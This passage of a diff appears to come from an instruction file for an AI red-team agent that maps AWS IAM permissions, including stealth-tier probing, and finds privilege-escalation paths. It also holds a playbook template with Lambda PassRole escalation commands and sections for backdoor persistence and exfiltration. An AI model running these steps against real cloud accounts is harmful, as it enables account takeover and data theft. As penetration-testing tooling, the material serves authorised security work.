'.Role.Arn') - # Check for service-linked role - ROLE_PATH=$(echo "$ROLE_INFO" | jq -r '.Role.Path') - if [[ "$ROLE_PATH" == /aws-service-role/* ]]; then - # Flag: "Service-linked role detected -- limited exploit surface. - # Service-linked roles are managed by AWS services. Their trust and - # permission policies are immutable. Focus on data access capabilities." - fi -else - # AccessDenied or other error -- reconstruct without path - NORMALIZED_ARN="arn:aws:iam::${ACCOUNT_ID}:role/${ROLE_NAME}" - # Log warning: "Could not resolve full role ARN via iam:GetRole. - # Path may be missing. Using reconstructed ARN: [NORMALIZED_ARN]" -fi -PRINCIPAL_TYPE="role" -PRINCIPAL_NAME="$ROLE_NAME" ``` +━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +GATE 4: PLAYBOOK READY — WRITE TO DISK? +━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +Artifact: [RUN_DIR]/playbook.md +Paths: [list path names] -**IAM user** (`user/` in ARN): -```bash -NORMALIZED_ARN="$TARGET_ARN" -PRINCIPAL_TYPE="user" -PRINCIPAL_NAME=$(echo "$TARGET_ARN" | cut -d/ -f2) -``` +[Display full playbook content here, inline in the conversation] -**Federated user** (`federated-user/` in ARN): -```bash -NORMALIZED_ARN="$TARGET_ARN" -PRINCIPAL_TYPE="federated-user" -PRINCIPAL_NAME=$(echo "$TARGET_ARN" | cut -d/ -f2) -# Flag: "Federated user detected -- policy self-read not applicable, using probes only. -# Federated users get temporary credentials via GetFederationToken. They inherit -# the calling IAM user's policies, but the federated-user ARN has no directly -# attached policies to read." +━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +Options: proceed (write artifacts) | skip (display only, do not write) | stop +━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ ``` -**IAM role** (`role/` in ARN, not assumed-role): -```bash -NORMALIZED_ARN="$TARGET_ARN" -PRINCIPAL_TYPE="role" -PRINCIPAL_NAME=$(echo "$TARGET_ARN" | cut -d/ -f2) -# Note: explicit role ARN already has the full path -``` +**"skip":** Playbook shown in conversation but not written to disk. results.json, dashboard export, and dashboard index are also skipped. Write `agent-log.jsonl` and `exploit/index.json` only. -After normalization, set: -```bash -TARGET_SLUG="${PRINCIPAL_TYPE%-*}-${PRINCIPAL_NAME,,}" # lowercase: role-devops, user-alice -``` +**"proceed":** Write all mandatory artifacts (see ``). -When SELF_TARGET_MODE=true, also populate ACCOUNT_ID, PRINCIPAL_TYPE, PRINCIPAL_NAME, and TARGET_SLUG from the normalized result (these are deferred from input_parsing). +--- -Store both CALLER_ARN (original from STS) and NORMALIZED_ARN (for analysis). The discovery pipeline always uses NORMALIZED_ARN. +### Gate Behavior Rules -**-> GATE 1: Identity Confirmed.** Display Gate 1 and wait for operator approval before proceeding to permission discovery. - +1. **Always wait.** Never auto-continue past a gate. The operator must respond. +2. **"skip" is not "stop."** For Gate 4: skip means display in conversation only, do not write to disk. Stop ends the session entirely. +3. **"adjust" at Gate 3:** If the operator specifies paths to include or exclude, update the path list and re-display Gate 3 before proceeding. + -## Permission Discovery - -Three-stage pipeline to map the caller's effective permissions. Always executes in order: audit data check -> policy self-read -> targeted probes. Each stage only runs if the previous stage left gaps. The full pipeline completes before Gate 2 fires. - -### Stage 1: Check Existing Audit Data (zero API calls) +## Permission Discovery — Standalone Mode -Before making any API calls, check for existing audit data that may already contain permission information for this principal. +### Phase 1 — Universal Probes -1. Check `./agent-logs/index.json` and `./data/index.json` for prior audit runs matching ACCOUNT_ID -2. If found and `--fresh` is NOT set: extract permissions as primary source. For each action found in audit data, add to the EFFECTIVE_PERMISSIONS map with `source: "audit-data"` and `confidence: "high"` -3. Flag any service categories not covered by audit data for Stage 2/3 +Run at every standalone invocation regardless of target: -**If `--fresh` is set:** Skip Stage 1 entirely and proceed to Stage 2. `--fresh` skips audit data only — it does NOT skip Stage 2 (policy self-read is fresh enumeration, not cached data). +1. **GetCallerIdentity** — already done at Gate 1, establishes account and identity context +2. **IAM self-read check:** + - If user: attempt `aws iam list-attached-user-policies --user-name $PRINCIPAL_NAME` + - If role: attempt `aws iam list-attached-role-policies --role-name $PRINCIPAL_NAME` + - Also attempt `aws iam list-user-policies` (user) or `aws iam list-role-policies` (role) + - **If IAM read succeeds:** Load all attached and inline policies. We have the full policy picture. No probing needed unless the operator wants validation. + - **If IAM read denied:** Note as signal, proceed to Phase 2. The deny message may reveal boundary conditions. -Audit data is preferred when available. Discovery fills gaps — the pipeline only probes permissions not already known from audit. +Log each Phase 1 probe as a `probe_result` record in `agent-log.jsonl`. -### Stage 2: Policy Self-Read (quiet path — ~5-15 IAM API calls) +### Phase 2 — Context-Driven Expansion -Attempt to read the caller's own IAM policies. This is the quiet path — IAM self-read APIs are standard management events but far less suspicious than probing random services. +If Phase 1 IAM read was denied or returned partial data, reason about additional probes: -**Skip this stage entirely if PRINCIPAL_TYPE="federated-user"** — federated users have no directly attached policies. Log: "Federated user detected — policy self-read not applicable, skipping to Stage 3." +**What to reason from (not a checklist):** +- **Principal type:** Users often have explicit policies; roles are often service-attached with purpose-specific permissions +- **ARN structure:** Role names hint at purpose — "DevOps-Role" suggests broad service access; "LambdaExecution-Role" suggests lambda:Invoke + logging; "CI-Deploy" suggests iam:PassRole + service deployments +- **Error message analysis:** AccessDenied messages often reveal resource existence, account structure, and boundary conditions — reason about what the message itself tells you +- **Operator context:** If the operator described the engagement scenario, factor it in +- **Phase 1 results:** What succeeded at Phase 1 shapes what to probe next -**For IAM users (PRINCIPAL_TYPE="user"):** (IAM actions: ListAttachedUserPolicies, GetPolicy, GetPolicyVersion, ListUserPolicies, GetUserPolicy, ListGroupsForUser, GetUser) -1. `aws iam list-attached-user-policies --user-name "$PRINCIPAL_NAME"` — attached managed policies -2. For each attached policy: `aws iam get-policy --policy-arn "$ARN"` then `aws iam get-policy-version --policy-arn "$ARN" --version-id "$DEFAULT_VERSION"` — read policy document -3. `aws iam list-user-policies --user-name "$PRINCIPAL_NAME"` — inline policy names -4. For each inline policy: `aws iam get-user-policy --user-name "$PRINCIPAL_NAME" --policy-name "$NAME"` — read inline document -5. `aws iam list-groups-for-user --user-name "$PRINCIPAL_NAME"` — group memberships -6. For each group: repeat attached + inline policy read sequence (list-attached-group-policies, get-policy/get-policy-version, list-group-policies, get-group-policy) -7. Check permission boundary: `aws iam get-user --user-name "$PRINCIPAL_NAME"` — extract PermissionsBoundary if present +**Probe direction examples** (reason these out, don't hardcode): +- Service-specific reads: s3:ListBuckets, lambda:ListFunctions, ec2:DescribeInstances +- Self-discovery: iam:GetUser, iam:GetRole (may work even without list permissions) +- Cross-service: sts:AssumeRole candidates from trust policies if visible -**For IAM roles (PRINCIPAL_TYPE="role"):** -1. `aws iam list-attached-role-policies --role-name "$PRINCIPAL_NAME"` — attached managed policies -2. For each attached policy: `aws iam get-policy --policy-arn "$ARN"` then `aws iam get-policy-version --policy-arn "$ARN" --version-id "$DEFAULT_VERSION"` — read policy document -3. `aws iam list-role-policies --role-name "$PRINCIPAL_NAME"` — inline policy names -4. For each inline policy: `aws iam get-role-policy --role-name "$PRINCIPAL_NAME" --policy-name "$NAME"` — read inline document -5. Check permission boundary: `aws iam get-role --role-name "$PRINCIPAL_NAME"` — extract PermissionsBoundary if present -(No groups for roles.) - -**Handling boundary policies:** If PermissionsBoundary ARN is present, read that policy document too. The boundary restricts effective permissions — it must be accounted for in the EFFECTIVE_PERMISSIONS map. Any action allowed by identity policy but denied by boundary is effectively denied. - -**Partial failure handling:** Collect what you can, flag gaps. -- If the first call (`list-attached-user-policies` or `list-attached-role-policies`) returns AccessDenied: log "Policy self-read denied — entire Stage 2 skipped, proceeding to probes" and skip to Stage 3. -- If a specific policy read fails but others succeed: record successful reads, log the failed policy ARN as "unreadable" in the EFFECTIVE_PERMISSIONS map under `unreadable_policies`. -- Track every successful policy read and every failure. - -**After Stage 2:** Parse all collected policy documents. Extract every Action from every Allow statement. Apply the 7-step evaluation logic (from `` Step 3) to determine effective status. For each action: add to EFFECTIVE_PERMISSIONS map with `status: "confirmed"`, `source: "policy-read"`, `confidence: "high"`. +Every probe is logged as a `probe_result` in `agent-log.jsonl` with `inferred_signal` explaining what the result revealed. + -### Stage 3: Targeted Probe Fallback (noisier — 15/25/50 API calls) + +## Audit Data Loading — Audit Mode -Only runs when: (a) Stage 2 was skipped (full AccessDenied), or (b) Stage 2 succeeded but the operator wants to validate/expand coverage via probes. +When `--audit ` is provided, load from the audit run directory: -**Mid-discovery prompt (NOT Gate 2):** Before running probes, display: +```bash +AUDIT_IAM="$AUDIT_RUN_DIR/iam.json" +AUDIT_RESULTS="$AUDIT_RUN_DIR/results.json" -``` -━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ -PROBE INTENSITY -━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ -Policy self-read: [N actions confirmed / skipped — AccessDenied] +# Load IAM data +if [ -f "$AUDIT_IAM" ]; then + IAM_DATA=$(cat "$AUDIT_IAM") +else + echo "Warning: iam.json not found in audit run dir — proceeding without it" +fi -Probes test specific AWS actions to confirm/deny permissions. -Each probe is a single read-only API call or DryRun. +# Load attack path results +if [ -f "$AUDIT_RESULTS" ]; then + AUDIT_PATHS=$(cat "$AUDIT_RESULTS") +else + echo "Warning: results.json not found in audit run dir" +fi -Options: - stealth ~15 probes — highest-value escalation actions only - balanced ~25 probes — escalation + lateral movement + data access - thorough ~50 probes — comprehensive coverage across all categories - skip No probes — use only what Stage 1-2 discovered -━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +# Load all module JSONs +for module_file in "$AUDIT_RUN_DIR"/*.json; do + module_name=$(basename "$module_file" .json) + echo "Loaded: $module_name" +done ``` -Wait for operator choice before proceeding. If operator chooses "skip", proceed directly to EFFECTIVE_PERMISSIONS compilation without running any probes. - -**Probe method:** Dry-run where supported + harmless read-only calls. -- EC2 actions: use `--dry-run` flag (DryRunOperation = has permission, UnauthorizedOperation = denied) -- Other services: use harmless read-only calls (List*/Get*/Describe*). Success = confirmed, AccessDenied = denied. -- Never use mutating calls as probes. +**Skip all probing** — `iam.json` has the full permission picture. No hybrid merge. Audit mode means audit data exclusively. -**Probe ordering:** Escalation-first. IAM self-modification actions are probed first (highest value for privilege escalation), followed by service creation, cross-account, and data access last. +The full permission picture from `iam.json` includes: attached managed policies, inline policies, permission boundaries, and (if available) SCP context from the audit run. + -**Stealth tier (~15 probes):** -Priority 1 — IAM self-modification: -1. iam:PutUserPolicy / iam:PutRolePolicy — no safe direct probe exists; mark as `unknown` if Stage 2 did not confirm. Do not infer from list-user/role-policies. -2. iam:AttachUserPolicy / iam:AttachRolePolicy -3. iam:CreatePolicyVersion -4. iam:CreateAccessKey -Priority 2 — PassRole + service creation: -5. iam:PassRole (probe via lambda:CreateFunction or ec2:RunInstances --dry-run) -6. lambda:CreateFunction — no safe direct probe exists; mark as `unknown` if Stage 2 did not confirm. Do not infer from lambda:ListFunctions. -7. ec2:RunInstances --dry-run -Priority 3 — Cross-account: -8. sts:AssumeRole (probe against known roles from audit data if available) -Priority 4 — Data access: -9. s3:ListBuckets -10. secretsmanager:ListSecrets -11. kms:ListKeys -12. s3:GetObject (against known bucket if available) -Priority 5 — Additional escalation: -13. cloudformation:CreateStack — no safe direct probe exists; mark as `unknown` if Stage 2 did not confirm. Do not infer from cloudformation:ListStacks. -14. ssm:SendCommand — no safe direct probe exists; mark as `unknown` if Stage 2 did not confirm. Do not infer from ssm:ListCommands. -15. lambda:UpdateFunctionCode — no safe direct probe exists; mark as `unknown` if Stage 2 did not confirm. Do not infer from lambda:ListFunctions. + +## Escalation Path Identification -**Balanced tier (~25):** All stealth probes + additional: -16-25: ecs:RunTask, ecs:ExecuteCommand, codebuild:CreateProject, glue:CreateJob, sagemaker:CreateNotebookInstance, ec2:CreateLaunchTemplateVersion, iam:UpdateAssumeRolePolicy, sns:Publish, sqs:SendMessage, logs:CreateLogGroup +After permission discovery (Gate 2), reason about escalation paths using unified creative reasoning: -**Thorough tier (~50):** All balanced probes + expanded per-service coverage. Compose the additional ~25 probes from Describe*/List* calls across remaining exploitation-relevant services (RDS, DynamoDB, EFS, ECR, EKS, Step Functions, Redshift, Athena, Kinesis, API Gateway, CloudWatch, EventBridge, CodePipeline, etc.). +**Approach:** +- Load `TECHNIQUES` (from techniques.json if available) as seed knowledge — reference material, not a rigid checklist +- Reason from the discovered permission surface: what chains of permissions enable privilege escalation? +- Seed knowledge informs but doesn't constrain — novel combinations are equally valid +- Research context from scope-research enriches path descriptions after identification -**Hard cap enforcement:** Each AWS CLI invocation = 1 toward the cap. Track and display remaining count. Stop at limit regardless of remaining probes. Display progress: "Probe [N/MAX]: [service:action] — [confirmed/denied/error]" +**What makes a path:** +- A chain of permissions the principal holds that ends in a higher privilege state +- Minimum: 1 step (direct privilege write). Maximum: no artificial cap — follow the chain +- Includes: assume-role chains, service-linked escalation (PassRole), policy manipulation, cross-service pivots -**No inference:** Only report permissions where the probe directly confirms access. Do not infer write from read. A successful `s3:ListBuckets` does NOT imply `s3:PutObject`. Mark unprobed actions as unknown. +**Path count:** Flexible. Report however many paths exist based on findings — could be 1 or 5+. No artificial limit. -**Only probe permissions NOT already confirmed by Stages 1-2.** Skip any action already in the EFFECTIVE_PERMISSIONS map as "confirmed" from policy-read or audit-data. +**No confidence tiers, no speculative tags, no catalogue-vs-novel distinction.** All paths are reasoned. If a path has published technique documentation (from research), cite it. If it's novel, describe it based on the permissions — "this combination of iam:PutRolePolicy and sts:AssumeRole enables..." Sources and citations signal confidence naturally. + -### EFFECTIVE_PERMISSIONS Map + +## Research Integration — Dispatching scope-research -After all three stages complete, compile the map: +For each path selected for the playbook, dispatch scope-research as a subagent: -```json -{ - "type": "effective_permissions", - "principal_arn": "[NORMALIZED_ARN]", - "caller_arn": "[CALLER_ARN]", - "discovery_method": "[audit-data | policy-read | probes | policy-read+probes | audit-data+probes]", - "discovery_summary": { - "policy_read_actions": N, - "probe_actions": N, - "audit_data_used": true/false, - "probe_tier": "stealth | balanced | thorough | skipped", - "hard_cap_reached": true/false - }, - "permissions": { - "iam:PutUserPolicy": {"status": "confirmed", "source": "policy-read", "confidence": "high"}, - "iam:PassRole": {"status": "confirmed", "source": "probe-confirmed", "confidence": "high"}, - "ec2:RunInstances": {"status": "denied", "source": "probe-denied", "confidence": "high"}, - "lambda:CreateFunction": {"status": "unknown", "source": "not-probed", "confidence": "none"} - }, - "boundary_arn": "[ARN or null]", - "boundary_effective": true/false, - "scp_status": "known | unknown | not-in-org", - "unreadable_policies": ["arn:..."], - "service_linked_role": true/false -} +**Dispatch per path (not batched):** ``` +Dispatch scope-research as a subagent with this initial message: -Raw discovery states: confirmed / denied / unknown — these are the values emitted by the probe pipeline and policy-read path. The map is normalized to the downstream four-state format (see Normalization Step below) before any downstream section consumes it. -Action-level only — resource-level constraints are not derived from policy resource fields. PassRole analysis applies at action level only. - -**Normalization Step — apply in-place before Gate 2 and before any downstream section reads the map:** + CALLER=exploit + SERVICE=[primary AWS service for this escalation path] + PERMISSION_CONTEXT=[actual permissions discovered — e.g., "iam:PassRole + lambda:CreateFunction held by role arn:aws:iam::123456789012:role/CI-Deploy"] + ACCOUNT_CONTEXT=[target ARN, account ID, relevant resource context — e.g., "Lambda functions present in account, VPC-attached execution role available"] -Map every raw discovery state to the downstream four-state format: -- `confirmed` → `CONFIRMED` -- `denied` → `BLOCKED` -- `unknown` → `UNKNOWN` -- `LIKELY` is reserved for the `` Step 4 compilation path (policy-read without simulation). It is NOT produced by the probe pipeline directly and must not be introduced here. - -Apply this mapping to every entry in the `permissions` object so the stored map uses uppercase values before Gate 2 is displayed. After normalization the example above becomes: - -```json -"permissions": { - "iam:PutUserPolicy": {"status": "CONFIRMED", "source": "policy-read", "confidence": "high"}, - "iam:PassRole": {"status": "CONFIRMED", "source": "probe-confirmed", "confidence": "high"}, - "ec2:RunInstances": {"status": "BLOCKED", "source": "probe-denied", "confidence": "high"}, - "lambda:CreateFunction": {"status": "UNKNOWN", "source": "not-probed", "confidence": "none"} -} +Dispatch as a subagent with subagent_type="scope-research". ``` -No lowercase state value (`confirmed`, `denied`, `unknown`) should appear in gate logic, path matching, or export references after this normalization step. +**Integration rules:** +- Dispatch only for paths selected for the playbook — no research for paths dropped at Gate 3 +- If research fails or returns no relevant findings, path still appears without research context +- CLI examples from research are adapted to the actual target: replace generic resource names with actual ARNs, account IDs, and resource names discovered during probing +- Source URLs woven inline into the path narrative: "documented by hackingthe.cloud (URL)" +- `sources_found: 0` means synthesis from general knowledge — note this contextually rather than citing a source -**Storage:** The EFFECTIVE_PERMISSIONS map is held in-memory for the current run (consumed by Gates 3-4 for path matching and playbook generation). It is also written as a structured record to `$RUN_DIR/agent-log.jsonl` with record type `effective_permissions` for Phase 27 consumption. +**Result weaving:** +Research results are woven INTO the path narrative — not a separate "Research" subsection. The narrative reads fluidly: technique description + real-world backing + adapted commands. + -Write the EFFECTIVE_PERMISSIONS map as a record in agent-log.jsonl with record type "effective_permissions". - -**-> After the EFFECTIVE_PERMISSIONS map is compiled and normalized: display GATE 2 (Discovery Summary) and wait for operator approval.** - - - -## Permission Intake - -**Integration with Permission Discovery:** If `` has already produced an EFFECTIVE_PERMISSIONS map, use it as the primary permission source. The existing Steps -1 through 2 below serve as the audit-data and fresh-enumeration fallback within the discovery pipeline (Stage 1 uses Steps -1/0/1 for audit data lookup, Stage 2's policy parsing uses Step 3's 7-step evaluation logic). Step 3 (7-step evaluation) and Step 4 (compile list) still apply to all sources — they are shared evaluation infrastructure used by both the discovery pipeline and the legacy intake path. - -Determine the target principal's effective permissions. Two modes: load existing audit data, or enumerate fresh from AWS. - -### Step -1: Check Evidence Data (highest fidelity) - -Before checking normalized data, check if evidence data exists — it provides policy evaluation chains and coverage information for permission source attribution. + +## Playbook Format -1. Check if `./agent-logs/index.json` exists -2. If it exists, filter for entries where `phase == "audit"` and `account_id` matches the target principal's account -3. For each audit run, read `./agent-logs/audit/.json` -4. Extract `policy_evaluations` for permission source attribution — the full 7-step evaluation chain tells you exactly why each action is allowed/denied -5. Use `coverage` data to assess freshness — if coverage_pct is low or key areas were not checked, flag this for the operator -6. Extract claims with classification and confidence to understand which permissions are guaranteed vs conditional -7. If evidence data is available, set MODE="evidence" and skip to permission synthesis. Otherwise fall back to Step 0. +The playbook is the primary deliverable. It reads like a red team briefing — narrative first, then execution steps. -Log: "Evidence data found — using high-fidelity permission intake" or "Evidence data not found — falling back to normalized data." +```markdown +# Red Team Playbook — [TARGET_ARN] -### Step 0: Check Normalized Data (preferred) +**Run ID:** [RUN_ID] +**Discovery mode:** [standalone | audit] +**Generated:** [ISO-8601 timestamp] -Before grepping INDEX.md, check if normalized data exists: +--- -1. Check if `./data/index.json` exists -2. If it exists, read it and filter for audit runs matching the target account ID -3. If found, read `./data/audit/.json` and extract: - - Effective permissions for the target principal - - Policy documents and boundary status - - SCP/org data - - Cross-account trust relationships -4. Set MODE="data-json" and skip the INDEX.md/findings.md fallback below +## Discovery Summary -If no normalized data exists, fall back to the INDEX.md grep path below. +[What was probed or loaded, what succeeded, what was denied, and what those results revealed. + In standalone mode: list probes run and their outcomes. Note error messages that revealed + account structure or boundaries. In audit mode: summarize the IAM data loaded and key + permission areas identified.] -**Fallback path (when ./data/ is unavailable):** +--- -### Step 1: Detect Audit Data Availability +## Path 1: [Descriptive Name — e.g., "PassRole to Lambda for Admin Policy Attachment"] -Check if prior audit data exists for the target account: +[Narrative opening: describe the attack chain in plain language. What permissions does the + principal hold, what do they enable, and where does the chain lead? If research found + documented precedent, weave it in: "This PassRole + CreateFunction combination is a + well-documented escalation vector (hackingthe.cloud: https://example.com/passrole-lambda). + The technique works by..."] -**Primary:** Read `./audit/index.json` (machine-readable): +[Continue narrative with any relevant conditions, prerequisites, or interesting aspects + of this specific target's environment that affect this path.] +### Step 1: [Action Description] [MGT] ```bash -cat ./audit/index.json 2>/dev/null +aws iam get-role --role-name [ACTUAL_ROLE_NAME_FROM_DISCOVERY] ``` +[Brief explanation of what this step achieves and why it comes first] -Parse the `runs` array. Filter for entries where `target` contains the ACCOUNT_ID (extracted from the input ARN). - -**Fallback:** If `./audit/index.json` doesn't exist, try `./audit/INDEX.md`: - +### Step 2: [Action Description] [MGT] ```bash -grep "$ACCOUNT_ID" ./audit/INDEX.md 2>&1 +aws lambda create-function \ + --function-name exploit-escalation \ + --runtime python3.12 \ + --role arn:aws:iam::[ACTUAL_ACCOUNT_ID]:role/[ACTUAL_HIGH_PRIV_ROLE] \ + --handler handler.lambda_handler \ + --zip-file fileb://payload.zip ``` +[Explanation] -**If a matching run is found** AND `--fresh` was NOT passed: load `./audit/[run-id]/findings.md` and extract: - - Effective permissions for the target principal - - Attached policy documents (inline + managed) - - SCP/org data if enumerated - - Cross-account trust relationships - - Permission boundary status - - Set MODE="audit-data" and AUDIT_RUN_ID to the matching run ID - -**If no matching run is found**, OR if `--fresh` was passed, OR no audit index exists at all: set MODE="fresh-enumeration" and proceed to Step 2. - -### Step 2: Fresh Enumeration (when MODE="fresh-enumeration") - -Follow these steps in order to enumerate the target principal's permissions: - -**2a. Gold command — full IAM account data:** +### Step 3: [Action Description] [DATA] ```bash -aws iam get-account-authorization-details \ - --filter USER ROLE GROUP LocalManagedPolicy \ - --output json 2>&1 +aws lambda invoke --function-name exploit-escalation output.json ``` +[Explanation] -This single call returns all users, roles, groups, and policies. Extract the target principal's entry by matching the input ARN. If successful, you have all policy documents needed. - -**2b. Fallback if gold command returns AccessDenied:** +### Establish Persistence -For IAM users: -```bash -aws iam get-user --user-name "$PRINCIPAL_NAME" 2>&1 -aws iam list-attached-user-policies --user-name "$PRINCIPAL_NAME" 2>&1 -aws iam list-user-policies --user-name "$PRINCIPAL_NAME" 2>&1 -# For each inline policy name: -aws iam get-user-policy --user-name "$PRINCIPAL_NAME" --policy-name "$PNAME" 2>&1 -# For each attached managed policy ARN: -aws iam get-policy-version --policy-arn "$POLICY_ARN" --version-id "$VERSION" 2>&1 -# Check permission boundary: -aws iam get-user --user-name "$PRINCIPAL_NAME" --query 'User.PermissionsBoundary' 2>&1 -``` +[Persistence steps that follow from this escalation path — backdoor users, roles, + access keys, modified trust policies. Woven into the path narrative, not a separate + standalone section. Draw from techniques.json seed knowledge and escalation context.] -For IAM roles: -```bash -aws iam get-role --role-name "$PRINCIPAL_NAME" 2>&1 -aws iam list-attached-role-policies --role-name "$PRINCIPAL_NAME" 2>&1 -aws iam list-role-policies --role-name "$PRINCIPAL_NAME" 2>&1 -# For each inline policy: -aws iam get-role-policy --role-name "$PRINCIPAL_NAME" --policy-name "$PNAME" 2>&1 -# Check permission boundary: -aws iam get-role --role-name "$PRINCIPAL_NAME" --query 'Role.PermissionsBoundary' 2>&1 -``` +### Post-Exploitation -**2c. Check org membership and SCP status:** -```bash -# Get account ID -aws sts get-caller-identity --query Account --output text 2>&1 -# Attempt SCP enumeration -aws organizations list-policies --filter SERVICE_CONTROL_POLICY 2>&1 -``` +[Data access, lateral movement, and exfiltration steps enabled by this escalation. + What does elevated access unlock? Which other roles can now be assumed? What data + is accessible? Lateral movement steps woven in where relevant.] -If `organizations:ListPolicies` returns AccessDenied: note "SCP status unknown — org member, SCPs inaccessible". This caps confidence at 80% for all paths. -If the account is not in an org (error references no org): note "Not in AWS Organizations — SCPs do not apply". +### IAM Policy Document -**2d. Permission simulation (attempt, note result):** -```bash -aws iam simulate-principal-policy \ - --policy-source-arn "$TARGET_ARN" \ - --action-names iam:PassRole iam:PutUserPolicy iam:CreatePolicyVersion \ - iam:AttachUserPolicy iam:CreateAccessKey iam:UpdateAssumeRolePolicy \ - ec2:RunInstances ec2:RequestSpotInstances ec2:CreateLaunchTemplateVersion \ - lambda:CreateFunction lambda:InvokeFunction lambda:AddPermission \ - lambda:UpdateFunctionCode lambda:UpdateFunctionConfiguration \ - ecs:RunTask ecs:ExecuteCommand ecs:CreateCluster ecs:RegisterTaskDefinition \ - cloudformation:CreateStack codebuild:CreateProject codebuild:StartBuild \ - ssm:StartSession ssm:SendCommand sts:AssumeRole \ - --output json 2>&1 +```json +{ + "Version": "2012-10-17", + "Statement": [ + { + "Effect": "Allow", + "Action": ["iam:PassRole", "lambda:CreateFunction", "lambda:InvokeFunction"], + "Resource": "*" + } + ] +} ``` -If AccessDenied on simulate-principal-policy: note "SimulatePrincipalPolicy unavailable — confidence capped at 80% for any path requiring simulation confirmation". -If successful: extract EvalDecisionDetails for each action — "allowed" means CONFIRMED, "implicitDeny" or "explicitDeny" means BLOCKED. - -### Step 3: Apply 7-Step Policy Evaluation Logic - -Before matching against the escalation catalogue, determine effective permissions by applying the complete AWS policy evaluation chain for each candidate permission. Follow these 7 steps IN ORDER: +--- -**Step 1 — Explicit Deny Check:** -Any explicit `Deny` in ANY policy (identity, resource, SCP, RCP, boundary, session) terminates evaluation immediately with Deny. Check ALL policy types before concluding allow. An explicit deny always wins. +## Path 2: [Descriptive Name] -**Step 2 — Resource Control Policies (RCPs):** -If the account is in AWS Organizations, check if RCPs restrict what resources allow. If no Allow in applicable RCPs, result is Deny. RCPs are a 2024 AWS feature — if org access was denied, flag as "RCP status unknown." +[Same structure — narrative, steps with CT tags, persistence, post-ex, IAM policy] -**Step 3 — Service Control Policies (SCPs):** -If in Organizations, check if SCPs restrict what principals can do. If no Allow in applicable SCPs, result is Deny. SCPs do NOT affect the management account. If SCP data is unavailable (AccessDenied), flag as "SCP status unknown — confidence reduced." +--- +``` -**Step 4 — Resource-Based Policies:** -For IAM role trust policies (AssumeRole), the trust policy on the role MUST explicitly allow the caller. Identity policy alone is insufficient for role assumption. For other resources, a resource-based policy provides UNION with identity policy. +**Formatting rules:** +- Each path starts with narrative (technique context, research citations) +- Steps ordered by logical/technical dependency — NOT by noise level +- CLI commands use actual ARNs, resource names, and account IDs from discovery — not generic placeholders +- CT visibility tags on each step heading: [MGT], [DATA], or [NONE] +- IAM policy JSON is ready-to-attach (minimal permissions for the path) +- Persistence and post-exploitation integrated into each path — not separate top-level sections +- No confidence percentages, no stealth-ordering headers, no OPSEC sections + -**Step 5 — Identity-Based Policies:** -User/role policies + inherited group policies. All attached managed policies and inline policies evaluated together. If no Allow from either identity or resource policy, result is Deny. +**Update environment observations:** Before finishing, append up to 5 concise observations to `config/observations.md` under the appropriate account section. If the file does not exist, create it using the structure from `config/observations.example.md`. Focus on: permission baselines for this principal type, novel escalation paths not in techniques.json, persistence mechanisms discovered. Prefix each entry with today's date (YYYY-MM-DD). Never delete or overwrite existing entries. -**Step 6 — Permission Boundaries:** -INTERSECTION with identity policy. Both must allow. The boundary acts as a maximum permissions cap — it does not grant permissions, only restricts them. If a boundary is set, even if the identity policy allows an action, the boundary must also allow it. Check `User.PermissionsBoundary` or `Role.PermissionsBoundary`. + +## Results JSON Export -**Step 7 — Session Policies:** -For role sessions only (sts:AssumeRole with Policy parameter, or federation with policy). The session policy is the final restriction — effective permissions are the intersection of the role's identity policy and the session policy. +After Gate 4 approval, write `results.json` to `$RUN_DIR/` and `dashboard/public/$RUN_ID.json`: -**Quick Reasoning Template — use for every permission check:** -``` -For permission X on resource Y: -1. Any explicit Deny anywhere? -> DENIED (stop) -2. In Organizations? -> SCPs + RCPs must allow -3. Resource has resource-based policy? -> Check for allow there -4. Identity policy allows? -> Check attached policies -5. Permission boundary set? -> Must also allow X -6. Using role session? -> Session policy must allow X -If all checks pass -> ALLOWED +```json +{ + "account_id": "123456789012", + "source": "exploit", + "timestamp": "2026-04-20T14:30:22Z", + "target_arn": "arn:aws:iam::123456789012:role/CI-Deploy", + "discovery_mode": "standalone", + "audit_run_dir": null, + "summary": { + "paths_found": 3, + "severity": "critical", + "discovery_summary": "IAM self-read denied; context-driven probing revealed PassRole on Lambda and S3 full access" + }, + "paths": [ + { + "name": "PassRole to Lambda for Admin Escalation", + "description": "CI-Deploy holds iam:PassRole + lambda:CreateFunction, enabling creation of a Lambda function with a high-privilege execution role", + "research_sources": ["https://hackingthe.cloud/aws/exploitation/iam_privilege_escalation/"], + "steps": [ + { + "description": "Create Lambda function with admin execution role", + "action": "aws lambda create-function --role arn:aws:iam::123456789012:role/AdminRole ...", + "visibility": "MGT" + } + ], + "iam_policy": { + "Version": "2012-10-17", + "Statement": [{"Effect": "Allow", "Action": ["iam:PassRole", "lambda:CreateFunction", "lambda:InvokeFunction"], "Resource": "*"}] + } + } + ] +} ``` -### Step 4: Compile Effective Permissions List - -For each permission in the escalation catalogue, assign a status: - -- **CONFIRMED** — `simulate-principal-policy` returned "allowed" for this action -- **LIKELY** — present in identity policy, boundary and SCP status do not show a block -- **BLOCKED** — `simulate-principal-policy` returned "explicitDeny" or "implicitDeny", OR boundary/SCP explicitly denies -- **UNKNOWN** — no simulation data available, status unclear - -Only CONFIRMED and LIKELY permissions count for path matching. BLOCKED permissions exclude any path that requires them. +**severity values:** critical (path leads to admin/full account control), high (path leads to significant service privilege), medium (path leads to limited escalation), low (lateral movement only, no escalation). -The EFFECTIVE_PERMISSIONS map from `` is the primary input. If the discovery pipeline did not run (legacy path), compile the permissions list using the Steps above and proceed to Gate 2. - +**Update indexes:** +```bash +# Dashboard index +DASHBOARD_INDEX="dashboard/public/index.json" +if [ -f "$DASHBOARD_INDEX" ]; then + INDEX_DATA=$(cat "$DASHBOARD_INDEX") +else + INDEX_DATA='{"runs": []}' +fi +# Upsert by run_id, write back with 2-space indent +echo "$INDEX_DATA" | jq --argjson new_entry "$RUN_ENTRY" \ + '.runs |= (map(select(.run_id != $new_entry.run_id)) + [$new_entry])' > "$DASHBOARD_INDEX" + +# Exploit run index +EXPLOIT_INDEX="./exploit/index.json" +if [ -f "$EXPLOIT_INDEX" ]; then + 